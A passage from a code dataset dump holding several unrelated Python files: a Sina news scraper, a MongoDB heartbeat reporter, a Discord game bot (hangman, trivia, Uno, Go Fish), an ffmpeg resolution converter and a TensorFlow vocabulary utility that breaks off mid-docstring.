datetime.timedelta(minutes=int(mintue))\n news_time = datetime.datetime(year=now.year, month=now.month, day=now.day, hour=now.hour, minute=now.minute)\n news_time = news_time.strftime(\"%Y年%m月%d日 %H:%M\")\n\n # 添加年份\n if \"年\" not in news_time:\n news_time = str(today.year) + \"年\" + news_time\n return news_time\n\n def parse(self, response):\n # 启动浏览器访问页面\n driver = webdriver.Chrome(options=self.option)\n driver.set_page_load_timeout(30)\n driver.get(response.url)\n\n # 解析页面\n for i in range(2):\n while not driver.find_element_by_xpath(\"//div[@class='feed-card-page']\").text:\n driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\n title = driver.find_elements_by_xpath(\"//div[@class='feed-card-item']/h2/a\")\n time = driver.find_elements_by_xpath(\"//div[@class='feed-card-time']\")\n\n # 获取页面的每个标题、时间、链接\n for i in range(len(title)):\n items = SinaItem()\n items[\"news_number\"] = \"No.\" + str(i + 1) if i + 1 > 9 else \"No.\" + \"0\" + str(i + 1)\n items[\"news_type\"] = settings.FILM_BOT_TYPE\n items[\"news_title\"] = title[i].text\n items[\"news_url\"] = title[i].get_attribute(\"href\")\n items[\"news_time\"] = self.parse_time(time[i].text)\n # 单个页面交个下个函数处理\n yield Request(url=items[\"news_url\"], meta={\"name\": items}, callback=self.parse_detail)\n # 翻页\n driver.find_element_by_xpath(\"//div[@class='feed-card-page']/span[@class='pagebox_next']/a\").click()\n\n def parse_detail(self, response):\n selector = scrapy.Selector(response)\n desc = selector.xpath(\"//div[@class='article']/p/text()\").extract()\n desc = list(map(str.strip, desc))\n items = response.meta[\"name\"]\n items[\"news_desc\"] = \"\".join(desc)\n yield items\n\n","repo_name":"gacdu/recommendation","sub_path":"data_spider/sina/sina/spiders/film_spider.py","file_name":"film_spider.py","file_ext":"py","file_size_in_byte":3054,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"12505851587","text":"# coding:utf-8\nimport pymongo\nimport arrow\nimport datetime\nimport logging\n\nfrom pymongo.errors import AutoReconnect\n\n__all__ = [\n 'Reporter'\n]\n\n\nclass Reporter(object):\n \"\"\"\n 用于服务的汇报\n \"\"\"\n\n def __init__(self, name, type, host, port, dbn, username, password,\n localhost):\n self.name = name\n self.type = type\n self.host = host\n self.port = port\n self.dbn = dbn\n self.username = username\n self.password = password\n self.localhost = localhost\n\n # 链接数据库\n self.db = pymongo.MongoClient(self.host, self.port)[self.dbn]\n self.db.authenticate(self.username, self.password)\n\n # 是否已经启动汇报过了\n self.isStartReported = False\n\n # 心跳最少要5秒\n self.heartBeatMinInterval = datetime.timedelta(seconds=5)\n\n self.log = logging.getLogger('root')\n\n def lanuchReport(self):\n \"\"\"\n 启动时的汇报\n :return:\n \"\"\"\n\n if self.isStartReported:\n return\n self.isStartReported = True\n\n # 提交报告的 collection\n report = self.db['report']\n r = {\n 'name': self.name,\n 'type': self.type,\n 'datetime': arrow.now().datetime,\n 'host': self.localhost,\n }\n\n r = report.insert_one(r)\n\n if not r.acknowledged:\n self.log.info(u'启动汇报失败!')\n else:\n self.log.info(u'启动汇报完成')\n\n def heartBeat(self):\n \"\"\"\n 服务的心跳，建议19秒次。服务器端为每分钟检查一次心跳，可以保证1分钟有3次心跳\n :return:\n \"\"\"\n try:\n heartbeat = self.db['heartbeat']\n filter = {\n 'name': self.name,\n 'type': self.type,\n 'host': self.localhost,\n }\n r = {\n 'name': self.name,\n 'type': self.type,\n 'datetime': arrow.now().datetime,\n 'host': self.localhost,\n }\n\n heartbeat.find_one_and_replace(filter, r, upsert=True)\n except AutoReconnect:\n self.log.error('report 重连失败')\n\n\n def endHeartBeat(self):\n \"\"\"\n 停止心跳，在服务结束的时候要执行。否则服务器端会认为心跳异常\n :return:\n \"\"\"\n heartbeat = self.db['heartbeat']\n filter = {\n 'name': self.name,\n 'type': self.type,\n 'host': self.localhost,\n }\n heartbeat.delete_many(filter)\n","repo_name":"lamter/slavem","sub_path":"slavem/reporter.py","file_name":"reporter.py","file_ext":"py","file_size_in_byte":2633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"26199129803","text":"import discord \nimport random\nimport uno\nimport functions\nimport requests\nimport gofish\nimport normalFunctions\n\nfrom discord.ext import commands\n\nchoices = []\nHangman_Pics = [\n '''\n +---+\n |\n |\n |\n ===\n ''', \n '''\n +----+\n O |\n |\n |\n ===\n ''', \n '''\n +----+\n O |\n | |\n |\n ===\n ''', \n '''\n +----+\n O |\n /| |\n |\n ===\n ''', \n '''\n +----+\n O |\n /|\\ |\n |\n ===\n ''', \n '''\n +----+\n O |\n /|\\ |\n / |\n ===\n ''', \n '''\n +----+\n O |\n /|\\ |\n / \\ |\n ===\n ''']\nunoDeck = []\ngoFishDeck = []\n\nclass gameCog(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n\n @commands.command()\n async def games(self, ctx):\n embed = discord.Embed(title=\"List of games\", description = \"A list of available games to play\", color = discord.Colour.blue())\n embed.add_field(name = \"To play some hangman\", value = \"!hangman\", inline = True)\n embed.add_field(name = \"To answer trivia questions\", value = \"!trivia\", inline = True)\n embed.add_field(name = \"To guess a random number\", value = \"!guessnumber\", inline = True)\n embed.add_field(name = \"To play Uno with a fellow member\", value = \"!uno \", inline = True)\n embed.add_field(name = \"To play Go Fish with a fellow member\", value = \"!gofish \", inline = True)\n embed.set_footer(text = \"Games list\")\n await ctx.send(embed=embed)\n\n @commands.command()\n async def trivia(self, ctx):\n guild = ctx.guild\n member = ctx.author\n url = \"https://opentdb.com/api.php\"\n querystring = {\"amount\":\"1\",\"type\":\"multiple\"}\n choices = []\n response = requests.get(url, params=querystring)\n trivia = response.json()\n question = trivia[\"results\"][0][\"question\"]\n print(\"question - \" + question)\n correct_answer = trivia[\"results\"][0][\"correct_answer\"]\n print(\"correct_answer - \" + correct_answer)\n wrong_answers = trivia[\"results\"][0][\"incorrect_answers\"]\n choices.append(correct_answer)\n t = 0\n while (t < 3):\n choices.append(wrong_answers[t])\n t = t + 1\n embed = discord.Embed(title=\"Your Trivia Question\", description = question, color = discord.Colour.red())\n letters = [\"A. \", \"B. \", \"C. \", \"D. \"]\n num = 0\n random.shuffle(choices)\n while (num < 4):\n embed.add_field(name = letters[num], value = choices[num], inline = False)\n num = num + 1\n await ctx.send(embed=embed)\n def check(msg):\n return msg.author == ctx.author and msg.channel == ctx.channel\n msg = await self.bot.wait_for(\"message\", check = check)\n print(\"msgCheck - \" + msg.content)\n gotCorrect = await functions.check_answer(msg, ctx, correct_answer, choices)\n print(\"gotCorrect - \" + str(gotCorrect))\n if gotCorrect:\n await ctx.send(\"Congratulations, you got it correct. You just earned 100 coins.\", tts = False)\n members = await functions.get_user_data(guild)\n pets = await functions.get_pet_data()\n boosts = await functions.get_boosts_data()\n await functions.add_coins(members, member, 100, boosts)\n await functions.update_db(members, pets, boosts)\n else:\n await ctx.send(\"You got it wrong. Try again next time\")\n\n @commands.command()\n async def hangman(self,ctx):\n guild = ctx.guild\n member = ctx.author\n words = []\n random_words = open('./textFiles/words.txt', 'r')\n content = random_words.read()\n words = content.split('\\n')\n random_words.close()\n size = 200\n randNum = random.randint(0, (size-1))\n random_word = words[randNum]\n mystery = []\n num = 0\n size_word = len(random_word)\n print(\"random_word size - \" + str(size_word))\n mystery_two = \"\"\n while num < (size_word):\n mystery.append(\"-\")\n num = num + 1\n for let in mystery: \n mystery_two += let\n print(\"mystery_two size - \" + str(len(mystery_two)))\n print(\"random word - \" + random_word) \n attempts = 0\n def check(msg):\n return msg.author == ctx.author and msg.channel == ctx.channel and msg.content.lower() in [\"a\", \"b\", \"c\",\"d\", \"e\", \"f\", \"g\", \"h\", \"i\", \"j\", \"k\", \"l\", \"m\", \"n\",\"o\", \"p\", \"q\", \"r\", \"s\", \"t\", \"u\", \"v\", \"w\", \"x\", \"y\", \"z\"]\n guesses = []\n while True:\n try:\n word_two = \"\"\n for let in mystery_two: \n word_two += let + \" \"\n await ctx.send(Hangman_Pics[attempts] + \"\\n\" + \"Your guesses - \" + str(guesses) + \"\\n\" + \"Here is your mystery word : \" + word_two)\n msg = await self.bot.wait_for(\"message\", check = check)\n guesses.append(msg.content)\n print(\"msg - \" + str(msg.content))\n isIn = normalFunctions.verify(msg, random_word)\n if isIn:\n mystery_two = normalFunctions.fill_mystery(msg, random_word, mystery_two)\n else:\n attempts = attempts + 1\n print(\"attempts - \" + str(attempts))\n if ((mystery_two == random_word) or (attempts == 6)): \n break\n except Exception as e:\n print(e)\n if mystery_two == random_word:\n print(\"It got to correct if\")\n await ctx.send(\"Great job guessing the mystery word \" + random_word + \". You just earned 25 coins.\")\n members = await functions.get_user_data(guild)\n pets = await functions.get_pet_data()\n boosts = await functions.get_boosts_data()\n await functions.add_coins(members, member, 25, boosts)\n await functions.update_db(members, pets, boosts)\n if attempts == 6:\n print(\"It got to fail if\")\n await ctx.send(\"Nice Try. You will get it next time. The mystery word was \" + str(random_word))\n\n @commands.command()\n async def guessnumber(self, ctx):\n guild = ctx.guild\n member = ctx.author\n randNum = random.randint(0, 100)\n attempts = 0\n def check(msg):\n return msg.author == ctx.author and msg.channel == ctx.channel and msg.content.isnumeric()\n while True:\n try:\n await ctx.send(\"Guess a number between 1 and 100\")\n msg = await self.bot.wait_for(\"message\", check = check)\n guessNum = int(msg.content)\n if guessNum < randNum:\n attempts = attempts + 1\n await ctx.send(\"Think bigger\")\n elif guessNum > randNum:\n attempts = attempts + 1\n await ctx.send(\"Think smaller\")\n if ((guessNum == randNum) or (attempts == 3)): \n break\n except Exception as e:\n print(e)\n if guessNum == randNum:\n await ctx.send(\"Great job guessing the mystery number \" + randNum + \". You just earned 60 coins.\")\n pets = await functions.get_pet_data()\n members = await functions.get_user_data(guild)\n boosts = await functions.get_boosts_data()\n await functions.add_coins(members, member, 60, boosts)\n await functions.update_db(members, pets, boosts)\n if attempts == 3:\n await ctx.send(\"Nice Try. You will get it next time. The mysterious number was \" + str(randNum))\n\n @commands.command()\n async def eightball(self, ctx,*,message): \n eight_ball_responses = []\n responses = open('./textFiles/eightBall.txt', 'r')\n content = responses.read()\n eight_ball_responses = content.split('\\n')\n responses.close()\n randNum = random.randint(0, 20)\n await ctx.send(eight_ball_responses[randNum])\n\n @commands.command()\n async def uno(self, ctx, user: discord.User):\n guild = ctx.guild\n users = await functions.get_user_data(guild)\n unoDeck = uno.buildDeck()\n player1 = ctx.author\n player2 = user\n player1_hand = []\n player2_hand = []\n playerTurn = 0\n discards = []\n playing = True\n print(\"the selected user is - \" + user.name)\n await user.send(\"You have been challenged to a game of Uno by \" + ctx.author.mention + \". Do you accept? Type y or yes to accept.\")\n def check(msg):\n return msg.author == user\n msg = await self.bot.wait_for(\"message\", check = check)\n resp = msg.content\n if resp.lower() == \"y\" or resp.lower() == \"yes\":\n await ctx.send(\"Let's play some uno.\")\n unoDeck = uno.shuffleDeck(unoDeck, 108)\n player1_hand = uno.drawCards(5, unoDeck)\n player2_hand = uno.drawCards(5, unoDeck)\n player1_hand_display = []\n player2_hand_display = []\n discards.append(unoDeck.pop(0))\n discardSize = 0\n player1_hand_display = gofish.printHand(player1_hand)\n player2_hand_display = gofish.printHand(player2_hand)\n await player2.send(\"\\n\\nYour hand - \" + str(player2_hand_display))\n while playing:\n if playerTurn == 0:\n await ctx.send(\"It is \" + player1.mention + \" turn.\\n\\n\")\n await ctx.send(\"Card on top of pile: {}\".format(discards[discardSize]) + \"\\n Player 1 hand size - \" + str(len(player1_hand)) + \"\\n Player 2 hand size - \" + str(len(player2_hand)))\n player1_hand_display = gofish.printHand(player1_hand)\n await player1.send(\"\\n\\nYour hand - \" + str(player1_hand_display))\n await ctx.send(\"Choose a card to play by typing the number to the left off the card, type 0 to draw a card or -1 to call uno\")\n def checkTwo(msg):\n return msg.author == player1\n msg = await self.bot.wait_for(\"message\", check = checkTwo)\n resp = int(msg.content)\n if resp <= len(player1_hand) and resp > 0:\n current_card = player1_hand.pop((resp-1))\n if len(player1_hand) == 0:\n ctx.send(player1.mentions + \" wins. Congratulations you earned 25 coins!\")\n members = await functions.get_user_data(guild)\n await functions.add_coins(members, player1, 25)\n await functions.update_file(guild, members)\n playing = False\n card_splits = current_card.split(\" \")\n current_color = card_splits[0]\n current_value = card_splits[1]\n discards.append(current_card)\n discardSize = discardSize + 1\n if current_value == \"Skip\" or current_value == \"Reverse\":\n playerTurn = 0\n elif current_value == \"Draw\":\n if current_color == \"Wild\":\n drawnCards = uno.drawCards(4, unoDeck)\n num = 0\n while num < len(drawnCards):\n player2_hand.append(drawnCards[num])\n num = num + 1\n await ctx.send(\"Choose a color\")\n msg = await self.bot.wait_for(\"message\", check = checkTwo)\n await ctx.send(\"The chosen color is: \" + msg.content)\n playerTurn = 0\n else:\n drawnCards = uno.drawCards(2, unoDeck)\n num = 0\n while num < len(drawnCards):\n player2_hand.append(drawnCards[num])\n num = num + 1\n playerTurn = 0\n elif current_color == \"Wild\":\n await ctx.send(\"Choose a color\")\n msg = await self.bot.wait_for(\"message\", check = checkTwo)\n await ctx.send(\"The chosen color is: \" + msg.content)\n playerTurn = 1\n else:\n playerTurn = 1\n elif resp == 0:\n drawnCards = uno.drawCards(1, unoDeck)\n num = 0\n while num < len(drawnCards):\n player1_hand.append(drawnCards[num])\n num = num + 1\n playerTurn = 1\n elif resp == -1:\n if len(player2_hand) > 1:\n await ctx.send(\"That was an illegal uno call. You will now draw 2 cards.\")\n drawnCards = uno.drawCards(2, unoDeck)\n num = 0\n while num < len(drawnCards):\n player2_hand.append(drawnCards[num])\n num = num + 1\n playerTurn = 0\n else:\n await ctx.send(player1.mention + \" has Uno.\")\n playerTurn = 1\n else:\n await ctx.send(\"The number was invalid. Try again\")\n elif playerTurn == 1:\n await ctx.send(\"It is \" + player2.mention + \" turn.\\n\\n\")\n await ctx.send(\"Card on top of pile: {}\".format(discards[discardSize]) + \"\\n Player 1 hand size - \" + str(len(player1_hand)) + \"\\n Player 2 hand size - \" + str(len(player2_hand)))\n player2_hand_display = gofish.printHand(player2_hand)\n await player2.send(\"\\n\\nYour hand - \" + str(player2_hand_display))\n await ctx.send(\"Choose a card to play by typing the number to the left off the card, type 0 to draw a card or -1 to call uno\")\n def checkTwo(msg):\n return msg.author == player2\n msg = await self.bot.wait_for(\"message\", check = checkTwo)\n resp = int(msg.content)\n if resp <= len(player2_hand) and resp > 0:\n current_card = player2_hand.pop((resp-1))\n if len(player1_hand) == 0:\n ctx.send(player2.mentions + \" wins. Congratulations!\")\n members = await functions.get_user_data(guild)\n await functions.add_coins(members, player2, 25)\n await functions.update_file(guild, members)\n playing = False\n card_splits = current_card.split(\" \")\n current_color = card_splits[0]\n current_value = card_splits[1]\n discards.append(current_card)\n discardSize = discardSize + 1\n if current_value == \"Skip\" or current_value == \"Reverse\":\n playerTurn = 1\n elif current_value == \"Draw\":\n if current_color == \"Wild\":\n drawnCards = uno.drawCards(4, unoDeck)\n num = 0\n while num < len(drawnCards):\n player1_hand.append(drawnCards[num])\n num = num + 1\n await ctx.send(\"Choose a color\")\n msg = await self.bot.wait_for(\"message\", check = checkTwo)\n await ctx.send(\"The chosen color is: \" + msg.content)\n playerTurn = 1\n else:\n drawnCards = uno.drawCards(2, unoDeck)\n num = 0\n while num < len(drawnCards):\n player1_hand.append(drawnCards[num])\n num = num + 1\n playerTurn = 1\n elif current_color == \"Wild\":\n await ctx.send(\"Choose a color\")\n msg = await self.bot.wait_for(\"message\", check = checkTwo)\n await ctx.send(\"The chosen color is: \" + msg.content)\n playerTurn = 0\n else:\n playerTurn = 0\n elif resp == 0:\n drawnCards = uno.drawCards(1, unoDeck)\n num = 0\n while num < len(drawnCards):\n player2_hand.append(drawnCards[num])\n num = num + 1\n playerTurn = 0\n elif resp == -1:\n if len(player2_hand) > 1:\n await ctx.send(\"That was an illegal uno call. You will now draw 2 cards.\")\n drawnCards = uno.drawCards(2, unoDeck)\n num = 0\n while num < len(drawnCards):\n player2_hand.append(drawnCards[num])\n num = num + 1\n playerTurn = 0\n else:\n await ctx.send(player1.mention + \" has Uno.\")\n playerTurn = 1\n else:\n await player2.send(\"The number was invalid. Try again\")\n else:\n await ctx.send(player2.mention + \" has denied your request for Uno. Try again later\")\n \n @commands.command()\n async def gofish(self, ctx, user: discord.User):\n guild = ctx.guild\n users = await functions.get_user_data(guild)\n goFishDeck = gofish.buildDeck()\n player1 = ctx.author\n player2 = user\n player1_hand = []\n player2_hand = []\n player1_points = 0\n player2_points = 0\n playerTurn = 0\n playing = True\n possibleSet1 = False\n possibleSet2 = False\n chosenRank = \"\"\n canDiscard = 1\n ranks = [\"ace\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\", \"jack\", \"queen\", \"king\"]\n await user.send(\"You have been challenged to a game of Go Fish by \" + ctx.author.mention + \". Do you accept? Type y or yes to accept.\")\n def check(msg):\n return msg.author == player2\n msg = await self.bot.wait_for(\"message\", check = check)\n resp = msg.content\n if resp.lower() == \"y\" or resp.lower() == \"yes\":\n await ctx.send(\"Let's play Go Fish\")\n goFishDeck = uno.shuffleDeck(goFishDeck, 52)\n player1_hand = uno.drawCards(7, goFishDeck)\n player2_hand = uno.drawCards(7, goFishDeck)\n player2_hand_display = gofish.printHand(player2_hand)\n await player2.send(\"\\n\\nYour hand - \" + str(player2_hand_display))\n while playing:\n if playerTurn == 0:\n player1_hand_display = gofish.printHand(player1_hand)\n await player1.send(\"\\n\\n\\n\\nYour hand - \" + str(player1_hand_display))\n await ctx.send(player1.mention + \"points: \" + str(player1_points) + player2.mention + \"points: \" + str(player1_points) + \"\\n\\nIt is \" + player1.mention + \" turn. \\nRequest a rank: \")\n def checkTwo(msg):\n return msg.author == player1 and msg.content.lower() in ranks\n msg = await self.bot.wait_for(\"message\", check = checkTwo)\n rank = msg.content\n if gofish.verifyRequest(rank, player1_hand) == False:\n await ctx.send(\"That is not a valid request. Try again\")\n else:\n await ctx.send(player2.mention + \" do you have any \" + rank + \"s. Type y or yes if you do\")\n def checkTwo(msg):\n return msg.author == player2\n msg = await self.bot.wait_for(\"message\", check = checkTwo)\n resp = msg.content\n if resp.lower() == \"y\" or resp.lower() == \"yes\":\n while True:\n player2_hand_display = gofish.printHand(player2_hand)\n await player2.send(\"Your hand - \" + str(player2_hand_display))\n await ctx.send(player2.mention + \" select a card to give away by typing the number to the left of the card\")\n print(\"it got to player2 card giveaway\")\n def checkFour(msg):\n return msg.author == player2 and msg.content.isnumeric()\n msg = await self.bot.wait_for(\"message\", check = checkFour)\n resp = int(msg.content)\n if resp <= len(player2_hand):\n selected_card = player2_hand[(resp-1)]\n player2_hand.pop((resp-1))\n player1_hand.append(selected_card)\n await ctx.send(\"Type d or done if finished if not type any other key.\")\n def checkFive(msg):\n return msg.author == player2\n msg = await self.bot.wait_for(\"message\", check = checkFive)\n if msg.content.lower() == \"d\" or msg.content.lower() == \"done\":\n break\n playerTurn = 0\n else:\n drawnCards = uno.drawCards(1, goFishDeck)\n num = 0\n while num < len(drawnCards):\n player1_hand.append(drawnCards[num])\n num = num + 1\n possibleSet1,chosenRank = gofish.canMakeSet(player1_hand)\n if possibleSet1:\n player1_hand = gofish.makeSet(player1_hand, chosenRank)\n player1_points = player1_points + 1\n playerTurn = 1\n if playerTurn == 1:\n player2_hand_display = gofish.printHand(player2_hand)\n await player2.send(\"\\n\\n\\nYour hand - \" + str(player2_hand_display))\n await ctx.send(player1.mention + \"points: \" + str(player1_points) + player2.mention + \"points: \" + str(player1_points) + \"\\n\\nIt is \" + player2.mention + \" turn. \\n Request a rank: \")\n def checkTwo(msg):\n return msg.author == player2 and msg.content.lower() in ranks\n msg = await self.bot.wait_for(\"message\", check = checkTwo)\n rank = msg.content\n if not gofish.verifyRequest(rank, player2_hand):\n await ctx.send(\"That is not a valid request. Try again\")\n else:\n await ctx.send(player1.mention + \" do you have any \" + rank + \"s. Type y or yes if you do\")\n def checkThree(msg):\n return msg.author == player1\n msg = await self.bot.wait_for(\"message\", check = checkThree)\n resp = msg.content\n if resp.lower() == \"y\" or resp.lower() == \"yes\":\n while True:\n player1_hand_display = gofish.printHand(player1_hand)\n await player1.send(\"\\n\\n\\nYour hand - \" + str(player1_hand_display))\n await ctx.send(player1.mention + \" select a card to give away\")\n def checkFour(msg):\n return msg.author == player1 and msg.content.isnumeric()\n msg = await self.bot.wait_for(\"message\", check = checkFour)\n resp = int(msg.content)\n if resp <= len(player1_hand):\n selected_card = player1_hand[(resp-1)]\n player1_hand.pop((resp-1))\n player2_hand.append(selected_card)\n await ctx.send(\"Type d or done if finished if not type any other key.\")\n def checkFive(msg):\n return msg.author == player1\n msg = await self.bot.wait_for(\"message\", check = checkFive)\n if msg.content.lower() == \"d\" or msg.content.lower() == \"done\":\n break\n playerTurn = 1\n else:\n drawnCards = uno.drawCards(1, goFishDeck)\n num = 0\n while num < len(drawnCards):\n player2_hand.append(drawnCards[num])\n num = num + 1\n possibleSet2,chosenRank = gofish.canMakeSet(player2_hand)\n if possibleSet2:\n player2_hand = gofish.makeSet(player2_hand, chosenRank)\n player2_points = player2_points + 1\n playerTurn = 0\n if len(player1_hand) == 0 or len(player2_hand) == 0 or len(goFishDeck) == 0:\n playing = False\n if len(player1_hand) == 0:\n await ctx.send(\"Congratulations. \" + player1.mention + \" wins. You scored \" + str(player1_points) + \" points. You won 25 coins\")\n members = await functions.get_user_data(guild)\n await functions.add_coins(members, player1, 25)\n await functions.update_file(guild, members)\n elif len(player2_hand) == 0:\n await ctx.send(\"Congratulations. \" + player2.mention + \" wins. You scored \" + str(player2_points) + \" points. You won 25 coins\")\n members = await functions.get_user_data(guild)\n await functions.add_coins(members, player1, 25)\n await functions.update_file(guild, members) \n elif len(goFishDeck) == 0:\n await ctx.send(\"Y'all ran out of cards. Better luck next time\")\n else:\n await ctx.send(player2.mention + \" has denied your request for Go Fish. Try again later\")\n\ndef setup(bot):\n bot.add_cog(gameCog(bot)) \n","repo_name":"narku-coder/Geekbot-2","sub_path":"cogs/gameCogs.py","file_name":"gameCogs.py","file_ext":"py","file_size_in_byte":23042,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"40680838870","text":"n = int(input())\r\n\r\nano = n // 365\r\nn = n - (ano * 365)\r\nprint(ano, 'ano(s)')\r\n\r\nmes = n // 30\r\nn = n - (mes * 30)\r\nprint(mes,'mes(es)')\r\n\r\ndia = n // 1\r\nn = n - (dia * 1)\r\nprint(dia, 'dia(s)')","repo_name":"lucasmanesco/Exercicios","sub_path":"1020-Idade_em_Dias.py","file_name":"1020-Idade_em_Dias.py","file_ext":"py","file_size_in_byte":193,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"73570475983","text":"import os\nimport subprocess\n\ninput_video_path = '/Users/marina/Desktop/UNI/4rdyear/1rstTerm/CodAudioVideo/LABS_video/SisCod_Aud_Vid/Big_Buck_Bunny.mp4'\noutput_directory = '/Users/marina/Desktop/UNI/4rdyear/1rstTerm/CodAudioVideo/LABS_video/SisCod_Aud_Vid/SP3'\n\ndef convert_resolution(input_video, output_video_dir, width, height, custom_name):\n try:\n output_video_path = os.path.join(output_video_dir, f\"{custom_name}_{width}x{height}.mp4\")\n subprocess.run([\"ffmpeg\", \"-i\", input_video, \"-vf\", f\"scale={width}:{height}\", \"-c:a\", \"copy\", output_video_path], check=True)\n print(f\"Video converted to {width}x{height}: {output_video_path}\")\n except subprocess.CalledProcessError as e:\n print(f\"Error occurred: {e}\")\n\n\nimport os\nimport subprocess\n\nclass VideoConverter:\n \n def convert_resolution_and_codec(input_video,output_dir,width, height, codec, custom_name, output_format='webm'):\n output_video_path = os.path.join(output_dir, f\"{custom_name}.{output_format}\")\n subprocess.run([\"ffmpeg\", \"-i\", input_video, \"-vf\", f\"scale={width}:{height}\", \"-c:a\", \"copy\", \"-c:v\", codec, output_video_path], check=True)\n print(f\"Video converted to {width}x{height} with {codec}: {output_video_path}\")\n\n\n\n\n\n","repo_name":"marinahernandezsalas/SisCod_Aud_Vid","sub_path":"SP3/SP3.py","file_name":"SP3.py","file_ext":"py","file_size_in_byte":1256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"27206741786","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\nimport re\nimport sys\n\nimport numpy as np\nimport tensorflow as tf\n\nfrom . import opensubtitles_util\n\n# Special vocabulary symbols - we always put them at the start.\n_PAD = b\"#\"\n_GO = b\">\"\n_EOS = b\"<\"\n_UNK = b\"~\"\n_START_VOCAB = [_PAD, _GO, _EOS, _UNK]\n# Will be switched to in main.main(), when --words is set:\nSTART_VOCAB_WORD = [\"_PAD\", \"_GO\", \"_EOS\", \"_UNK\"]\n\nPAD_ID = 0\nGO_ID = 1\nEOS_ID = 2\nUNK_ID = 3\n\n# Regular expressions used to tokenize.\n_WORD_SPLIT = re.compile(b\"([.,!?\\\"':;)(])\")\n_DIGIT_RE = re.compile(br\"\\d\")\n\n\ndef basic_character_tokenizer(sentence):\n \"\"\"Split the sentence into individual characters\n\n Args:\n sentence: sentence to tokenize. String, plain text.\n Return:\n list: Array of tokens.\n \"\"\"\n return [c for c in sentence]\n\n\ndef basic_word_tokenizer(sentence):\n \"\"\"Split the sentence into words.\n\n Args:\n sentence: sentence to tokenize. String, plain text.\n Return:\n list: Array of tokens.\n \"\"\"\n words = []\n for space_separated_fragment in sentence.strip().split():\n words.extend(_WORD_SPLIT.split(space_separated_fragment))\n return [w for w in words if w]\n\n\ndef maybe_create_vocabulary(vocabulary_path, data_file, max_vocabulary_size,\n tokenizer, all_lowercase=True, normalize_digits=True):\n \"\"\"Create vocabulary file (if it does not exist yet) from data file.\n\n Data file is assumed to contain one utterance per line. Each utterance is\n tokenized and digits are normalized (if normalize_digits is set).\n Vocabulary contains the most-frequent tokens up to max_vocabulary_size.\n We write it to vocabulary_path in a one-token-per-line format, so that later\n token in the first line gets id=0, second line gets id=1, and so on.\n\n Vocabulary file will be written in binary format.\n\n Args:\n vocabulary_path: path where the vocabulary will be created.\n data_file: data file that will be used to create vocabulary.\n max_vocabulary_size: limit on the size of the created vocabulary.\n tokenizer: a function to use to tokenize each data sentence.\n all_lowercase: Boolean; if true, all characters will be made lowercase.\n normalize_digits: Boolean; if true, all digits are replaced by 0s.\n \"\"\"\n if not tf.gfile.Exists(vocabulary_path):\n print(\"Creating vocabulary %s from data %s\" % (vocabulary_path, data_file))\n vocab = {}\n with tf.gfile.Open(data_file, mode=\"rb\") as f:\n counter = 0\n for line in f:\n counter += 1\n if counter % 100000 == 0:\n print(\" processing line %d\" % counter)\n\n if all_lowercase:\n line = line.lower()\n\n line = tf.compat.as_bytes(line)\n tokens = tokenizer(line)\n # Remove newline\n tokens = tokens[:-1]\n for t in tokens:\n token = _DIGIT_RE.sub(b\"0\", t) if normalize_digits else t\n if token in vocab:\n vocab[token] += 1\n elif token not in _START_VOCAB:\n vocab[token] = 1\n vocab_list = _START_VOCAB + sorted(vocab, key=vocab.get, reverse=True)\n if len(vocab_list) > max_vocabulary_size:\n vocab_list = vocab_list[:max_vocabulary_size - 1]\n with tf.gfile.Open(vocabulary_path, mode=\"wb\") as vocab_file:\n for w in vocab_list:\n vocab_file.write(w + b\"\\n\")\n\n\ndef get_vocabulary(data_dir, use_words, use_word2vec, vocab_size):\n \"\"\"Does the same as initialize_vocabulary(), but assembles the path to the\n vocabulary file first.\n\n Args:\n data_dir: The common data directory.\n use_words: True if using words version, False if using character version\n use_word2vec: True if using word2vec, untrainable embeddings.\n vocab_size: Size of the vocabulary (is included in vocab file name)\n Returns:\n a pair: the vocabulary (a dictionary mapping string to integers), and\n the reversed vocabulary (a list, which reverses the vocabulary mapping).\n \"\"\"\n vocab_dir = os.path.join(data_dir, \"word2vec\" if use_word2vec else (\"word\" if use_words else \"char\"))\n return initialize_vocabulary(os.path.join(vocab_dir, \"vocab%d\" % vocab_size))\n\n\ndef initialize_vocabulary(vocabulary_path):\n \"\"\"Initialize vocabulary from file.\n\n We assume the vocabulary is stored one-item-per-line, so a file:\n dog\n cat\n will result in a vocabulary {\"dog\": 0, \"cat\": 1}, and this function will\n also return the reversed-vocabulary [\"dog\", \"cat\"].\n\n Args:\n vocabulary_path: path to the file containing the vocabulary.\n\n Returns:\n a pair: the vocabulary (a dictionary mapping string to integers), and\n the reversed vocabulary (a list, which reverses the vocabulary mapping).\n\n Raises:\n ValueError: if the provided vocabulary_path does not exist.\n \"\"\"\n if tf.gfile.Exists(vocabulary_path):\n rev_vocab = []\n with tf.gfile.Open(vocabulary_path, mode=\"rb\") as f:\n rev_vocab.extend(f.readlines())\n rev_vocab = [line.rstrip('\\n') for line in rev_vocab]\n vocab = dict([(x, y) for (y, x) in enumerate(rev_vocab)])\n return vocab, rev_vocab\n else:\n raise ValueError(\"Vocabulary file %s not found.\", vocabulary_path)\n\n\ndef sentence_to_token_ids(sentence, vocabulary, tokenizer,\n all_lowercase=True, normalize_digits=True):\n \"\"\"Convert a string to list of integers representing token-ids.\n\n For example, a sentence \"hello\" may become tokenized into\n [\"h\", \"e\", \"l\", \"l\", \"o\"] and with vocabulary {\"h\": 1, \"e\": 2,\n \"l\": 4, \"o\": 7\"} this function will return [1, 2, 4, 4, 7].\n\n Args:\n sentence: the sentence in bytes format to convert to token-ids.\n This shouldn't contain a newline at the end.\n vocabulary: a dictionary mapping tokens to integers.\n tokenizer: a function to use to tokenize each sentence.\n all_lowercase: Boolean; if true, sentence will be converted to lowercase first.\n normalize_digits: Boolean; if true, all digits are replaced by 0s.\n\n Returns:\n a list of 